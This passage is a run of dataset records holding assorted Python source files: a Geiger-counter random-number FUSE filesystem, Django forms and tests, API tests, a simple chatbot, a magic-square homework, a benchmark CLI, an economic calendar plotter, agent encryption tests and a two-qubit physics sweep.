reseek if called before\n \n # check that 3 timestamps exist in times.txt\n for l in range(3):\n line = tfh.readline()\n if not line:\n return self.doPseudoRead(path, length, offset) # get pseudorandom bytes if not enough timestamps\n tstamps.append(line)\n # generate the requested number of bits \n while (line):\n if i <= 1:\n h_bak.write(line) # done reading timestamps for random number, write the rest of the lines\n line = tfh.readline()\n else:\n interval_one = float(tstamps[1])-float(tstamps[0]) #calculate time stamp diffs\n interval_two = float(tstamps[2])-float(tstamps[1])\n if(interval_one < interval_two):\n a.append(False) # both boolean or binary values work here for bitarrays\n i -= 1\n elif(interval_one > interval_two):\n a.append(True)\n i -= 1\n tstamps.rotate(-1) # place 1st timestamp at end of the deque\n line = tfh.readline() # replace timestamp at end with a new one from times.txt\n if line:\n tstamps[2] = line\n # if not enough timestamps in times.txt, generate pseudorandom bytes\n if i > 1:\n fsize = 0\n try:\n fsize = os.path.getsize(self.pseudoFN)\n except OSError as detail:\n logging.error(detail)\n if fsize < 4: # make sure there is a 4 byte seed in pseudo.txt\n with open(self.pseudoFN, 'a') as pfh:\n pfh.write(a.tobytes()[:4-fsize]) # make the seed 4 bytes\n return self.doPseudoRead(path, length, offset)\n else: # replace times.txt with h_fn_bak and return requested bits \n h_bak.flush()\n h_bak.close()\n tfh.flush()\n tfh.close()\n os.rename(self.h_fn_bak, self.fileName) # h_fn_bak holds remaining timestamps\n self.timesfhs[path] = open(self.fileName, 'r+') # reopen new times.txt\n self.timesfhs[path].flush()\n return a.tobytes()\n\n # Disable unused operations:\n access = None\n flush = None\n getxattr = None\n listxattr = None\n opendir = None\n release = None\n releasedir = None\n statfs = None\n\nif __name__ == '__main__':\n if len(argv) != 2:\n print('usage: %s ' % argv[0])\n exit(1)\n \n logging.basicConfig(level=logging.DEBUG)\n \n FUSE(GeigerFS(), argv[1], nothreads=True, foreground=True, ro=True)\n","sub_path":"geigerfs.py","file_name":"geigerfs.py","file_ext":"py","file_size_in_byte":8948,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"254974820","text":"from django import forms\nfrom django.utils.translation import ugettext_lazy as _\n\nfrom oscar.core.loading import get_model\nfrom oscar.apps.dashboard.vouchers.forms import VoucherForm as CoreVoucherForm\nfrom apps.voucher.models import KGX_COURIER_CODE\n\nBenefit = get_model('offer', 'Benefit')\nRangeDestination = get_model('offer', 'RangeDestination')\n\n\nclass VoucherForm(CoreVoucherForm):\n\n min_odr_amount = forms.DecimalField(initial=0, label=_(\"Minimum Order Amount\"))\n destination_range = forms.ModelChoiceField(\n required=False,\n label=_(\"Destination Range\"),\n queryset=RangeDestination.objects.all()\n )\n\n TYPE_SHIP = (\n (KGX_COURIER_CODE, _('KGX Kurir')),\n )\n\n shipping_method = forms.ChoiceField(\n choices=TYPE_SHIP,\n label=_(\"Courier Method\"),\n )\n","sub_path":"src/smesco/apps/dashboard/vouchers/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":816,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"47773331","text":"import pytest\n\nfrom vidispine.errors import InvalidInput, NotFound\n\n\ndef test_get_metadata_returns_single_field(cassette, vidispine):\n field_name = 'durationTimeCode'\n\n metadata = vidispine.metadata_field.get(field_name)\n\n expected_response = {\n 'name': 'durationTimeCode',\n 'type': 'string-noindex',\n 'origin': 'VX',\n 'system': 'true'\n }\n\n assert metadata == expected_response\n assert cassette.all_played\n\n\ndef test_get_metadata_returns_single_field_with_values(cassette, vidispine):\n field_name = 'durationTimeCode'\n\n params = {\n 'includeValues': '1'\n }\n metadata = vidispine.metadata_field.get(field_name, params=params)\n\n assert 'values' in metadata\n assert cassette.all_played\n\n\ndef test_get_metadata_errors_without_fieldname(cassette, vidispine):\n field_name = ''\n\n with pytest.raises(InvalidInput) as err:\n vidispine.metadata_field.get(field_name)\n\n err.match(r'Please supply a field name')\n\n assert cassette.all_played\n\n\ndef test_get_metadata_errors_with_incorrect_fieldname(cassette, vidispine):\n field_name = 'doesnotexist'\n with pytest.raises(NotFound) as err:\n vidispine.metadata_field.get(field_name)\n\n err.match(r'Not Found: GET')\n\n assert cassette.all_played\n","sub_path":"tests/test_metadata_field/test_get.py","file_name":"test_get.py","file_ext":"py","file_size_in_byte":1283,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"203478733","text":"#Requires all the libraries listed below, and an internet connection.\n#Sometimes things take time to load, please give it time. A response at the max could take up to 30 seconds.\n#It works on my computer so let me know if it doesn't work on yours, I can show it to you on here.\nimport nltk\nfrom nltk import tokenize\nimport random\nimport time\nimport wikipedia\nfrom chatterbot import ChatBot\n\nbot = ChatBot(\"Terminal\",\n storage_adapter=\"chatterbot.adapters.storage.JsonDatabaseAdapter\",\n logic_adapters=[\n \"chatterbot.adapters.logic.EvaluateMathematically\",\n \"chatterbot.adapters.logic.TimeLogicAdapter\",\n \"chatterbot.adapters.logic.ClosestMatchAdapter\"\n ],\n io_adapter=\"chatterbot.adapters.io.TerminalAdapter\",\n database=\"../database.db\")\n# Train based on the english corpus\nbot.train(\"chatterbot.corpus.english\")\n\n# Train based on english greetings corpus\nbot.train(\"chatterbot.corpus.english.greetings\")\n\n# Train based on the english conversations corpus\nbot.train(\"chatterbot.corpus.english.conversations\")\n\n# who questions, auto correct, what is\nnegativity = 0\nnumCounter = 0\ncontinuea = 0\nnameCheck = 0\nnounNum = 0\ngreetingsList = [\"Hello, how are you?\", \"Wassup man?\", \"Hey, hows things?\", \"Hi dude\",\n \"G'Day lads\"]\nnegativeList = [\"I sense negativity...\", \"Why so sad?\", \"You negative person.\", \"Are you serious?\", \"Cheer up buddy!\"]\npositiveList = [\"I can feel the happiness from here!\", \"That sounds awesome!\", \"You fun person.\", \"Cool.\",\n \"I am happy for you!\"]\nreplyNegList = []\npotNegAns = [\"n't\", \"no\", \"cannot\", \"bad\", \"can't\", \"nope\", \"terrible\"]\nquestionAreList = [\"Probably?\", \"Yes.\", \"Yeh?\", \"Nah...\", \"No way.\", \"No.\", \"Yeh!\", \"Nah!\"]\nhowList = [\"Well I'm alright but...\", \"Seems good.\", \"Ehh...ok I guess\",\n \"I think I am alright, in regards to that thanks...\", \"Fine!\"]\n\nuncertainList = [\"I don't understand your uncertainty...\", \"How are you not sure?\", \"You can't be serious.\",\n \"Are you sure?\",\n \"It can't be...\"]\nprofanityList = [\"Watch your profanity...\", \"Mind your language son.\", \"Watch your mouth!\", \"Don't say that!\",\n \"You what?\"]\ntheList = [\"Good to note.\", \"I understand...\", \"I don't understand...\", \"Are you sure of that fact?\",\n \"How could it be?\"]\nhelloList = [\"hi!\", \"g'day mate!\", \"yo!\", \"hey m8\", \"waddup?\", \"hello? hello to you too.\", \"hello to you too!\"]\n# print(greetingsList[random.randint(0, 4)])\n# inpString = input(greetingsList[random.randint(0, 4)] + \" \\n\")\n# searchList = []\ne = \"\"\nnameWord = \"\"\n# sentence = inpString\n# searchWord = \"\"\n\n# for i in range (0, len(words)):\n\n# if (words[i] in potNegAns):\n\n# print(negativeList[random.randint(0, 4)])\n# negativity += 1\n# WHATS UP?\n# else:\n# print(positiveList[random.randint(0, 4)])\n# break\nuser_input = \"Type something to begin...\"\n\nprint(user_input)\n\nwhile True:\n time.sleep(int(random.uniform(0.5, 3)))\n searchList = []\n inpString2 = input(\"\")\n inpString2Str = inpString2\n inpString2 = nltk.word_tokenize(inpString2)\n inpString2A = \"\"\n if (\"name\" in inpString2Str.lower()):\n try:\n inpString2A = inpString2Str\n inpStringString = inpString2A\n inpString2A = nltk.pos_tag(inpString2)\n for i in inpString2A:\n #print(str(i) + \"\\n\")\n if i[1] == \"JJ\" or i[1] == \"NNS\" or i[1] == \"NNP\":\n searchList.append(i[0])\n nameWord = str(searchList[0])\n name = nameWord\n print(nameWord)\n break\n except ValueError:\n print(searchWord)\n break\n\n if (inpString2[0].lower() == \"are\") or (inpString2[0].lower() == \"did\") or (inpString2[0].lower() == \"was\") or (inpString2[0].lower() == \"do\"):\n print(questionAreList[random.randint(0, 7)])\n elif (\"hi\" in inpString2Str.lower()) or (\"hello\" in inpString2Str.lower()) or (\"g'day\" in inpString2Str.lower()):\n print(helloList[random.randint(0, 6)])\n # elif (inpString2[0].lower() == \"not\"):\n # print(negativeList[random.randint(0, 4)])\n elif (inpString2[0].lower() == \"but\"):\n print(uncertainList[random.randint(0, 4)])\n\n elif (inpString2[0].lower() == \"have\"):\n print(questionAreList[random.randint(0, 4)])\n elif (inpString2[0].lower() == \"how\"):\n print(howList[random.randint(0, 4)])\n\n elif (inpString2[0].lower() == \"the\"):\n if inpString2Str.endswith(\"?\"):\n print(profanityList[random.randint(0, 4)])\n else:\n print(theList[random.randint(0, 4)])\n\n elif (inpString2[0].lower() == \"what\"):\n checkedVal = 0\n numCounter = 0\n try:\n inpStringString = inpString2\n inpString2 = nltk.pos_tag(inpString2)\n for i in inpString2:\n\n ### try:\n # if i.isNumeric() == True:\n # print(\"Number detected \" + i)\n # except ValueError:\n # break\n # numCounter += 1\n # print(inpString2)\n # print(i)\n try:\n # print(\"trying\")\n if i[1] == \"JJ\" or i[1] == \"NN\" or i[1] == \"NNS\" or i[1] == \"NNP\":\n # print(\"it matches\")\n searchList.append(i[0])\n nounNum += 1\n # print(searchList)\n searchWord = str(searchList[0])\n # print(searchWord)\n # wikipedia.page(randNoun).content\n ny = wikipedia.page(searchWord)\n nySentence = ny.content\n nySentence = tokenize.sent_tokenize(nySentence)\n print(nySentence[0])\n checkedVal = 1\n break\n except ValueError:\n break\n if checkedVal == 0:\n print(\"nothing much\")\n except IndexError:\n print(profanityList[random.randint(0, 4)])\n\n\n # print(inpString2.index(\"JJ\"))\n # print(searchList)\n # nltk id nouns\n # wikipedia.page(\"randNoun\").content\n\n elif inpString2 == \"\":\n print(\"BREAK\")\n break\n else:\n # PROCEED TO CONVERSATIONAL\n user_input = str(inpString2Str)\n bot_input = bot.get_response(user_input)\n\n# while continuea == 0:\n# inp = input(\"\")\n# if inp == \"\" or \" \":\n# print(\"blank\")\n# break\n# print(inp)\n\n# print(findWholeWord(\"n't\" or \"no\" or \"cannot\" or \"bad\")(sentence))\n# for i in range(len(words)):\n# if (\"n't\" or \"no\" or \"cannot\" or \"bad\" or \"can't\" or \"nope\" or \"terrible\") == i:\n# print(\"NEGATIVE\")\n","sub_path":"Chat Bot/chatBotDylan.py","file_name":"chatBotDylan.py","file_ext":"py","file_size_in_byte":6909,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"151912291","text":"\"\"\"\r\nTARA WALTON\r\nfolder: tara1984\r\nHW 1 - due 01/30/15\r\n\r\nDescription: Write a program that tests whether or not a 3x3 grid is a valid \r\nmagic square. The program should read input from a txt file named input.txt.\r\nEach line in the file contains exactly 9 numbers that correspond to the values \r\nin a possible magic square. The first 3 numbers correspond to the values in the\r\nfirst row, the next 3 the second row, the last three the last row.\r\n\r\nINPUT : input.txt\r\nOUTPUT: VALID, if a grid is a magic square, INVALID if not.\r\n\"\"\"\r\n\r\nfile = \"input.txt\"\r\n\r\ndef read_file(fname):\r\n '''Reads numbers from a file to 2-D (3-D) list''' \r\n f = open(fname, 'r')\r\n data = f.readlines() #1 list of 6 strings\r\n f.close()\r\n for i in range(len(data)):\r\n data[i] = list(map(int, data[i].split())) #1 list of 6 lists of integers\r\n #print(data)\r\n #3-D list conversion ; easier indexing options\r\n matrix = [0]*len(data) #zero matrix with slots for all lines in input.txt\r\n count = 0\r\n while count < len(data): \r\n square = [] #blank template for each magic square\r\n s = 0 #start of slice\r\n e = 3 #end of slice\r\n while s <= 6:\r\n while e<= 9:\r\n square.append(data[count][s:e]) #add to square a slice of data\r\n s+=3 #move starting point\r\n e+=3 #move ending point\r\n for i in range(len(data)): #when square is built, add list to matrix\r\n matrix[count] = list(square)\r\n count += 1\r\n #print(\"M: \", matrix)\r\n return data, matrix\r\n \r\ndef num_magic(row): #accepts one row at a time from sum_magic\r\n '''Verifies that the numbers 1-9 are used exactly once'''\r\n #print(row)\r\n for number in range(1,10):\r\n if number not in row:\r\n #print(\"false\")\r\n return False \r\n #print(\"true\")\r\n return True\r\n\r\n\r\ndef sum_magic(d, m): #takes list data for num check, matrix for sums\r\n '''Verifies sumation of all rows, columns, diagonals'''\r\n row = len(m[0]) #3\r\n col = len(m[0][0]) #3\r\n for i in range(len(m)): #6\r\n magic = \" \"\r\n if num_magic(d[i]):\r\n #rows\r\n rtot = [0, 0, 0] #row totals\r\n for r in range(row):\r\n for c in range(col):\r\n rtot[r] += m[i][r][c]\r\n #columns\r\n ctot = [0, 0, 0] #column totals\r\n for c in range(col):\r\n for r in range(row):\r\n ctot[c] += m[i][r][c]\r\n #diagonals\r\n d1 = 0 #diagonal from left to right\r\n d2 = 0 #diagonal from right to left\r\n for r in range(row):\r\n for c in range(col):\r\n if r == c:\r\n d1 += m[i][r][c]\r\n if (r + c) == 2:\r\n d2 += m[i][r][c]\r\n #is the square magic?\r\n print(d1, d2, rtot, ctot)\r\n if d1==d2 and rtot[0]==rtot[1]==rtot[2] and ctot[0]==ctot[1]==ctot[2]:\r\n magic = \"valid\"\r\n else:\r\n magic = \"invalid\"\r\n else:\r\n magic = \"invalid\"\r\n print(magic)\r\n #print()\r\n \r\ndef main():\r\n '''Put it all together'''\r\n d, m = read_file(file)\r\n sum_magic(d, m)\r\n # sum_magic([[6, 9, 8], [7, 5, 3], [2, 1, 4]])\r\n # sum_magic([[6, 1, 8], [7, 5, 3], [2, 9, 4]])\r\n \r\n\r\nmain() #call main\r\n","sub_path":"HWS/hw1/hw1.py","file_name":"hw1.py","file_ext":"py","file_size_in_byte":3416,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"261823134","text":"import argparse\nimport os\nimport re\nfrom . import setup_db\n\ndef main():\n\n parser = argparse.ArgumentParser(\"python -m bigdata.cmd\")\n\n parser.add_argument(\n '--dburl', type=str,\n default=\"postgresql://scott:tiger@localhost/test\",\n help=\"database URL, default sqlite:///profile.db\"\n )\n parser.add_argument(\n '--echo', action='store_true',\n help=\"Echo SQL output\")\n\n subparsers = parser.add_subparsers()\n subparser = subparsers.add_parser(\n \"run\",\n help=\"run a suite\")\n subparser.set_defaults(cmd=run)\n\n subparser.add_argument(\n \"suite\", type=str,\n help=\"suite name\"\n )\n\n subparser.add_argument(\n \"--test\", type=str,\n help=\"run specific test name\"\n )\n\n subparser.add_argument(\n \"--poolsize\", type=int,\n default=15,\n help=\"number of workers/connections to use\"\n )\n subparser.add_argument(\n \"--directory\", type=str,\n help=\"Directory location where datafiles are\"\n )\n subparser.add_argument(\n \"--no-autocommit\", action=\"store_true\",\n help=\"disable autocommit, if possible (only with threaded)\"\n )\n\n subparser.add_argument(\n \"--allow-executemany\", action=\"store_true\",\n help=\"allow the use of executemany, only possible with threaded\"\n )\n\n subparser.add_argument(\n '--profile', action='store_true',\n help='run profiling and dump call counts')\n subparser.add_argument(\n '--dump', action='store_true',\n help='dump full call profile (implies --profile)')\n subparser.add_argument(\n '--runsnake', action='store_true',\n help='invoke runsnakerun (implies --profile)')\n\n subparser = subparsers.add_parser(\n \"list\",\n help=\"list suites\")\n subparser.set_defaults(cmd=list_)\n\n subparser = subparsers.add_parser(\n \"rebuild\",\n help=\"rebuild the test DB from scratch\")\n subparser.set_defaults(cmd=rebuild)\n\n args = parser.parse_args()\n if not hasattr(args, \"cmd\"):\n parser.error(\"too few arguments\")\n fn = args.cmd\n fn(args)\n\n\ndef list_(args):\n suites = []\n for file_ in os.listdir(os.path.join(os.path.dirname(__file__), \"suites\")):\n match = re.match(r'^([a-z].*).py$', file_)\n if match:\n suites.append(match.group(1))\n print(\"\\n\".join(suites))\n\n\ndef rebuild(args):\n setup_db.setup_database(args, drop=True)\n\n\ndef run(args):\n\n _temp = __import__(\n \"bigdata.suites.\" + args.suite, fromlist=['run_test', 'setup'])\n run_test, setup = _temp.run_test, _temp.setup\n setup_db.setup_database(args)\n setup_db.clear_data(args)\n setup(args)\n run_test()\n\nif __name__ == '__main__':\n main()\n","sub_path":"bigdata/cmd.py","file_name":"cmd.py","file_ext":"py","file_size_in_byte":2730,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"521310411","text":"from django.test import TestCase\nfrom datetime import date\n\n# Create your tests here.\nfrom django.urls import reverse\nfrom rest_framework.test import APITestCase, APIClient\nfrom rest_framework.views import status\nfrom .models import BlogpostContent\nfrom api.blogpost.models import Blogpost\nfrom datetime import date\nfrom .serializers import BlogpostContentSerializer\n\n\n# tests for views\n\n\nclass BaseViewTest(APITestCase):\n client = APIClient()\n @staticmethod\n def create_blogpost(media_url=\"\", author_id=1, posted_on=date.today()):\n if True: #media_link should be optional\n Blogpost.objects.create(media_url=media_url, author_id=author_id, posted_on=posted_on)\n @staticmethod\n def create_blogpost_content(language=\"en\", blogpost=None, title_content=\"\", body_content=\"\"):\n if blogpost:\n BlogpostContent.objects.create(language=language, blogpost=blogpost, title_content=title_content, body_content=body_content)\n\n def setUp(self):\n # add test data\n self.create_blogpost(media_url=\"youtube.com\", author_id=1, posted_on=date.today())\n valid_blogpost = Blogpost.objects.get(author_id=1)\n self.created_blog_id = valid_blogpost.id\n self.create_blogpost_content(\"en\", valid_blogpost, \"title\", \"body content\")\n self.create_blogpost_content(\"cn\", valid_blogpost, \"zhongwentitle\", \"zhongwenbodycontent\")\n\n\nclass GetAllBlogpostContentsTest(BaseViewTest):\n\n\n def test_get_all_blogpost_contents(self):\n \"\"\"\n This test ensures that all songs added in the setUp method\n exist when we make a GET request to the songs/ endpoint\n \"\"\"\n # hit the API endpoint\n response = self.client.get(\n reverse(\"blogpostcontent-list\", kwargs={\"version\": \"v1\"})\n )\n # fetch the data from db\n expected = BlogpostContent.objects.all()\n serialized = BlogpostContentSerializer(expected, many=True)\n self.assertEqual(response.data, serialized.data)\n self.assertEqual(response.status_code, status.HTTP_200_OK)\n","sub_path":"backend/api/blogpost_content/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":2064,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"427491264","text":"#!/usr/bin/ipy\n\nimport clr\nclr.AddReference(\"System.Windows.Forms\")\nclr.AddReference(\"System.Drawing\")\n\nfrom System.Windows.Forms import Application, Form, TextBox, MessageBox, MessageBoxIcon, MessageBoxButtons\nfrom System.Windows.Forms import ToolBar, ToolBarButton, OpenFileDialog, Button, Label\nfrom System.Windows.Forms import DialogResult\nfrom System.Drawing import Size, Point\n\nclass IForm(Form):\n\n def __init__(self):\n self.Text = \"OpenDialog\"\n self.Height = 140\n self.Width = 376\n self.MinimizeBox = False\n self.MaximizeBox = False\n self.CenterToScreen()\n\n \n self.label = Label()\n self.label.Text = \"you can type *.png or *.jpg to find your purpose file, we put *.png for your help\"\n self.label.Location = Point(0, 0)\n self.label.Height = 30\n self.label.Width = 380\n\n button = Button()\n button.Text = \"Continue\"\n button.Location = Point(0, 30)\n button.Height = 70\n button.Width = 360\n\n button.Click += self.buttonPressed\n\n self.Controls.Add(self.label)\n self.Controls.Add(button)\n self.Show()\n\n \n\n dialog = OpenFileDialog()\n dialog.Filter = \"PNG or BMP or Tif files(*.png,*.bmp,*.tif)|*.png;*.tif;*.bmp\"\n\n if dialog.ShowDialog(self) == DialogResult.OK:\n\n #data = dialog.FileNames\n f = open(\"Text/path.txt\",\"w\")\n f.write(dialog.FileName + \"\\n\")\n f.close()\n else: \n f = open(\"Text/path.txt\",\"w\")\n f.write(\"cancel\\n\")\n f.close() \n #MessageBox.Show(\"You have chosen the file, Please close this form you will automatically return to first form\",\"Process Finished\", MessageBoxButtons.OK, MessageBoxIcon.Information)\n \n def buttonPressed(self, sender, args):\n self.Close()\n pass\n\nApplication.Run(IForm())\n","sub_path":"GUI Program Source Code/Test01.py","file_name":"Test01.py","file_ext":"py","file_size_in_byte":1924,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"236484876","text":"import pandas as pd\r\nimport qgrid\r\nimport matplotlib.pyplot as plt\r\nimport matplotlib.dates as dates\r\n\r\n# Importing economic calendar\r\ndf = pd.read_csv('EconomicCalendar.csv')\r\ndf.columns = ['Date', 'Currency', 'Impact', 'Event', 'Actual', 'Forecast',\r\n 'Previous']\r\ndf.Date = pd.to_datetime(df.Date)\r\n# df.Date = dates.date2num(df.Date)\r\n\r\n# Remove no and low impact rows, remove votes beacuse of #format not convertable\r\ndf = df[df.Impact != 'Non-Economic']\r\n\r\nevent_filter = ['Asset Purchase Facility Votes', 'Official Bank Rate Votes']\r\ndf = df.loc[~df['Event'].str.contains('|'.join(event_filter))]\r\n\r\nfor col in ['Actual', 'Forecast', 'Previous']:\r\n # Remove rows with certain formats not convertable\r\n df = df.loc[~df[col].str.contains('|'.join(['\\|', '\\<']), na=False)]\r\n\r\n # Change %, K, M, B, T into numerics\r\n df.loc[pd.notnull(df[col]) & df[col].str.contains('\\%'), col] = \\\r\n pd.to_numeric(df.loc[pd.notnull(df[col]) & df[col].str.contains(\r\n '\\%'), col].str.replace('%', '')) / 100\r\n df.loc[pd.notnull(df[col]) & df[col].str.endswith('K'), col] = \\\r\n pd.to_numeric(df.loc[pd.notnull(df[col]) & df[col].str.endswith(\r\n 'K'), col].str.replace('K', '')) * 1000\r\n df.loc[pd.notnull(df[col]) & df[col].str.endswith('M'), col] = \\\r\n pd.to_numeric(df.loc[pd.notnull(df[col]) & df[col].str.endswith(\r\n 'M'), col].str.replace('M', '')) * 1000000\r\n df.loc[pd.notnull(df[col]) & df[col].str.endswith('B'), col] = \\\r\n pd.to_numeric(df.loc[pd.notnull(df[col]) & df[col].str.endswith(\r\n 'B'), col].str.replace('B', '')) * 1000000000\r\n df.loc[pd.notnull(df[col]) & df[col].str.endswith('T'), col] = \\\r\n pd.to_numeric(df.loc[pd.notnull(df[col]) & df[col].str.endswith(\r\n 'T'), col].str.replace('T', '')) * 1000000000000\r\n\r\n # Change all to numeric to perform calculation\r\n df[col] = pd.to_numeric(df[col])\r\n\r\n# Creating Surprise column which is Actual minus Forecast\r\ndf['Surprise'] = df['Actual'] - df['Forecast']\r\n\r\n# Choose impact factor and currency to show\r\nimpact = ['High', 'Medium']\r\ncurrency = ['EUR']\r\n\r\noutput = df.loc[df.Impact.str.contains('|'.join(impact))]\r\n# The line above has no purpose, since in the line below you immediately\r\n# reassign the variable 'output'.\r\noutput = df.loc[df.Currency.str.contains('|'.join(currency))]\r\n\r\n# Plot output\r\ngrouped = output.groupby('Event')\r\n\r\nfor i in grouped.groups.keys():\r\n print(\"Graph Title: \" + i) # This prints the title of the graph\r\n print(output.loc[output.Event.str.contains(i)]['Actual'])\r\n # Notice that the program (only?) crashes when all the values are NaN.\r\n output.loc[output.Event.str.contains(i)].plot(x='Date', y='Actual',\r\n title=i)\r\n plt.show()\r\n\r\n","sub_path":"EconomicCalendar.py","file_name":"EconomicCalendar.py","file_ext":"py","file_size_in_byte":2829,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"641566461","text":"\"\"\"Part 2 Module\"\"\"\nimport click\n\nfrom day_06.orbit import distance, init_objects\n\n\n@click.command()\n@click.option(\"--input\", \"input_path\", type=click.Path(exists=True), default=\"inputs\\\\day_06.txt\")\n@click.option(\"--mass-1\", default=\"YOU\")\n@click.option(\"--mass-2\", default=\"SAN\")\ndef part_02(input_path, mass_1, mass_2):\n \"\"\"Part 2\"\"\"\n with open(input_path) as file_input:\n objects = init_objects(file_input)\n\n total = distance(objects[mass_1], objects[mass_2])\n\n print(f\"'{mass_1}' is {total} amount of hops from '{mass_2}'\")\n\n\nif __name__ == \"__main__\":\n part_02() # pylint: disable=no-value-for-parameter\n","sub_path":"advent_of_code/day_06/part_02.py","file_name":"part_02.py","file_ext":"py","file_size_in_byte":633,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"149338883","text":"import base64\n\nfrom nasa import Nasa\nfrom computer import Computer\nfrom rocket import Rocket\nimport sys\nimport time\nimport traceback\nfrom cryptography.hazmat.backends import default_backend\nfrom cryptography.hazmat.primitives.asymmetric import rsa\nfrom cryptography.hazmat.primitives import serialization, hashes\nfrom cryptography.hazmat.primitives.asymmetric import padding\nif __name__==\"__main__\":\n try:\n print(\"Testing Nasa\")\n nasa = Nasa(\".\")\n nasa.removeConfiguration()\n nasa.saveJSON({\"host\": \"127.0.0.1\",\n \"port\": \"8080\",\n \"systemid\": \"systemidtarget\",\n \"comment\": \"registered\",\n \"tls\": False})\n nasa.savePublicKey(\"-----BEGIN RSA PUBLIC KEY-----\")\n nasa.load()\n nasa.addConfig(\"interval\", 3)\n jsonExists = nasa.fileExists(\"pathfinder.json\")\n keyExists = nasa.fileExists(\"pathfinder.key\")\n if not jsonExists or not keyExists:\n print(\"Save configuration failed.\")\n if nasa.returnJSONRaw() != '{\"host\": \"127.0.0.1\", \"port\": \"8080\", \"systemid\": \"systemidtarget\", \"comment\": \"registered\", \"tls\": false}':\n print(\"Raw Configuration mismatch\")\n # sys.exit(1)\n nasa.getPublicKey()\n config = nasa.getConfiguration()\n print(config)\n isHost = True if config[\"host\"] == \"127.0.0.1\" else False\n isPort = True if config[\"port\"] == \"8080\" else False\n isSystemid = True if config[\"systemid\"] == \"systemidtarget\" else False\n isComment = isPort = True if config[\"comment\"] == \"registered\" else False\n isTLS = True if config[\"tls\"] == False else False\n isInterval = True if config[\"interval\"] == 3 else False\n if not isHost or not isPort or not isSystemid or not isComment or not isTLS or not isInterval:\n print(\"Saved configuration mismatch.\")\n sys.exit(1)\n nasa.removeConfiguration()\n print(\"Test Nasa completed.\")\n\n print(\"Testing Computer\")\n key = rsa.generate_private_key(public_exponent=65537, key_size=2048, backend=default_backend())\n public_key = key.public_key()\n private_key_pem = key.private_bytes(encoding=serialization.Encoding.PEM, format=serialization.PrivateFormat.TraditionalOpenSSL, encryption_algorithm=serialization.NoEncryption())\n public_key_pem = public_key.public_bytes(encoding = serialization.Encoding.PEM, format = serialization.PublicFormat.SubjectPublicKeyInfo)\n computer = Computer(public_key_pem.decode())\n print(computer.getDistribution())\n print(computer.getNetworkUsage())\n print(computer.getDiskIOUsage())\n print(computer.getLocalIPAddress())\n print(computer.getKernelVersion())\n print(computer.getKernelName())\n print(computer.getArchitecture())\n print(computer.getHostname())\n print(computer.getTimedata())\n encrypted = computer.encryptToBase64(\"TEST STRINg\")\n decrypted = key.decrypt(base64.b64decode(encrypted), padding.OAEP(mgf=padding.MGF1(algorithm=hashes.SHA1()), algorithm=hashes.SHA1(), label=None))\n if decrypted.decode() != \"TEST STRINg\":\n print(\"Encryption/Decryption ERROR\")\n computer.generateSyncData(1)\n time.sleep(1)\n report_SyncDATA = computer.generateSyncData(1)\n report_InformationDATA = computer.generateInformationData()\n print(\"Test Computer Completed.\")\n\n #print(\"Testing Rocket\")\n #rocket = Rocket(\"1.1.1.1\", \"443\", False)\n #print(rocket.host)\n #print(rocket.port)\n #rint(rocket.request)\n #print(\"Test Rocket Completed.\")\n\n print(\"Testing Pathfinder itself\")\n import pathfinder\n pathfinder.deregister()\n pathfinder.default(\"UNKNOWN\")\n pathfinder.default()\n print(\"Test Pathfinder Completed.\")\n except Exception as e:\n traceback.print_exc()\n # sys.exit(1)\n\n\n\n\n","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":3987,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"135028018","text":"\"\"\"\nAssorted logging helpers.\n\"\"\"\n\nimport logging\n\n\ndef prep_logger(log_level):\n \"\"\"\n A really quick/lame way to get a basic aphid_agent root-level logger ready.\n\n :param str log_level: A logger level string. info, warning, error, etc.\n \"\"\"\n\n logger = logging.getLogger('aphid_agent')\n logger.setLevel(log_level.upper())\n formatter = logging.Formatter('%(asctime)s - %(levelname)s - %(message)s')\n ch = logging.StreamHandler()\n ch.setFormatter(formatter)\n logger.addHandler(ch)\n","sub_path":"aphid_agent/logging_utils.py","file_name":"logging_utils.py","file_ext":"py","file_size_in_byte":508,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"338963044","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Apr 22 12:17:02 2020\n\n@author: evaneastin\n\"\"\"\n\n# [PHYS 115C] HW 4 P 2\n# adapted from Dr. Patterson's MATLAB code twoqubitsTEMPLATE.m\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom scipy import linalg\n\n\ndef plotSweep(coupling):\n Omega = 10\n coupling = coupling\n timeStep = 0.01\n startDetuning = -10\n endDetuning = 10\n sweepTime = 50\n times = np.linspace(0, sweepTime, 100)\n detunings = np.linspace(startDetuning, endDetuning, len(times))\n H_0 = HamiltonianOmegaDetuning(Omega, startDetuning, coupling)\n w, v = np.linalg.eigh(H_0)\n psi = v[1]\n a = []\n for i in range(0, len(times)):\n A = -1j * i * timeStep * HamiltonianOmegaDetuning(Omega, detunings[i], coupling)\n psi = np.matmul(linalg.expm(A), psi)\n a.append(np.real(expectvalH(psi, HamiltonianOmegaDetuning(Omega, detunings[i], coupling))))\n plt.figure(1)\n plt.plot(times, a, label=coupling)\n\n\n\ndef plotManySweeps():\n plotSweep(2)\n plotSweep(1)\n plotSweep(0.5)\n plotSweep(0.2)\n\n\n \ndef plotSweepsUpandDown():\n plotSweepUpandDown(49);\n plotSweepUpandDown(50);\n 